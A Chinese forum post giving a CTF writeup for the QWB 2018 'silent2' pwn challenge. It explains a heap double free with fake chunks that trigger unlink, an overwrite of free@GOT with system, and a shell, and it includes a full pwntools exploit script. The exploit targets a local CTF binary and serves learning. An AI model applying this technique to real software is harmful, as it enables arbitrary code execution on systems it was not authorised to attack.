首页
论坛
课程
招聘
[原创]强网杯2018 silent2 writeup
2018-4-4 01:23 2500

[原创]强网杯2018 silent2 writeup

2018-4-4 01:23
2500

前置知识

  • double free
  • unlink
  • overlap

分析

checksec

parallels@ubuntu:~$ checksec '/home/parallels/ctf/qiang/silent2/silent2' 
[*] '/home/parallels/ctf/qiang/silent2/silent2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序分析

看了一下左边的所有函数,一个用来输出的都没有,不过有system
图片描述

 

main函数
图片描述
add函数
图片描述
图片描述
delete函数
图片描述
edit函数
图片描述

利用

利用思路

Partial RELRO,直接改写GOT段,把free@got的地址改写为system,当调用free的时候,就可以执行system函数了。
在unlink的时候,有一处覆写可以利用,然后在地址0x6020c0开始处保存了堆的指针,如果该处堆的指针可以被改写,即在这里改写为free@got的地址。
那么在以后edit函数调用了,就可以改写指针对应地址的数据了,即改写free@got为system。

堆构造

首先创建两个堆,并free掉。

create(0x100,'DDDD') #4
sleep(0.5)
create(0x100,'EEEE') #5
sleep(0.5)
delete(3)
sleep(0.5)
delete(4)
sleep(0.5)

然后再创建一个大小为0x210的堆,就会再次malloc出我们之前free的空间,并在这里面伪造两个chunk。
第一个chunk用来绕过unlink的检查条件,第二个chunk,嗯……也是用来绕过unlink的检查条件,并且在free的时候触发unlink。

payload = p64(0)+p64(0x101)+p64(p_addr‐0x18)+p64(p_addr‐0x10)+'A'*(0x100‐0x20)+p64(0x100)+p64(0x210‐0x100)
create(0x210,payload)

结果如图:
图片描述
注意这里p_addr是0x6020D8,也就是说它就指向我们fake的chunk1。
图片描述
然后再次delete index 4,这里就是double free,就触发了unlink,通过fake两个chunk,让我们通过Unlink的检查。

delete(4) # double free
sleep(0.5)

unlink检查通过之后就是设置

P->fd->bk = P->bk.
P->bk->fd = P->fd.

P就是fake_chunk1,可以看出fake_chunk1->fd->bk和fake_chunk1->bk->fd都指向fake_chunk1,所以只需要关注第二次操作即可。
P->fd即fake_chunk1->fd=p_addr-0x18,即0x6020C0。
所以unlink之后,P->bk->fd变为即0x6020C0。
如图:
图片描述
这样,我们编辑index 3就是在修改index 0处堆的指针,将这个值改为free_got_plt。

modify(3,p64(free_got_plt)[0:4],'1111')
sleep(0.5)

然后再编辑index 0,因为此时这里的堆的指针已经是指向free_got_plt的了,所以此时再编辑index 0,就是在修改free_got_plt的值。
修改为call system的地址。

modify(0,p64(func_addr)[0:6],'2222')
sleep(0.5)

最后我们创建一个chunk,写入/bin/sh,并free掉,此时free调用的是system函数,getshell。

create(0x100,'/bin/sh\x00')
sleep(0.5)
delete(6)
sleep(0.5)

图片描述

exp

from pwn import *

# context.log_level = 'DEBUG'

p = process('./silent2')


def create(size, content):
    p.sendline('1')
    p.sendline(str(size))
    p.send(content)


def modify(idx, content1, content2):
    p.sendline('3')
    p.sendline(str(idx))
    p.send(content1)
    p.send(content2)


def delete(idx):
    p.sendline('2')
    p.sendline(str(idx))


p.recvuntil('sakura1328\n') # 自己创建的banner.txt文件的内容

func_addr = 0x4009C0
free_got_plt = 0x602018
p_addr = 0x6020D8

create(0x100, 'AAAA')
sleep(0.5)
create(0x100, 'BBBB')
sleep(0.5)
create(0x100, 'CCCC')
sleep(0.5)
create(0x100, 'DDDD')
sleep(0.5)
create(0x100, 'EEEEE')
sleep(0.5)
delete(3)
sleep(0.5)
delete(4)
sleep(0.5)
payload = p64(0) + p64(0x101) + p64(p_addr - 0x18) + p64(p_addr - 0x10) + 'A' * (0x100 - 0x20) + p64(0x100) + p64(
    0x210 - 0x100) # 构造两个chunk,绕过unlink的检查
create(0x210, payload)
sleep(0.5)
delete(4)  # double free
sleep(0.5)
modify(3, p64(free_got_plt)[0:4], '1111')
sleep(0.5)
modify(0, p64(func_addr)[0:6], '2222')
sleep(0.5)
create(0x100, '/bin/sh\x00')
sleep(0.5)
delete(6)
sleep(0.5)

p.interactive()

调试中遇到的问题

gdb attach太早,结果调试cat进程去了。
gdb里设置跟随父进程,就可以断下来了。
set follow-fork-mode parent

 

题目链接我的i64文件


[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

最后于 2019-1-28 13:09 被admin编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回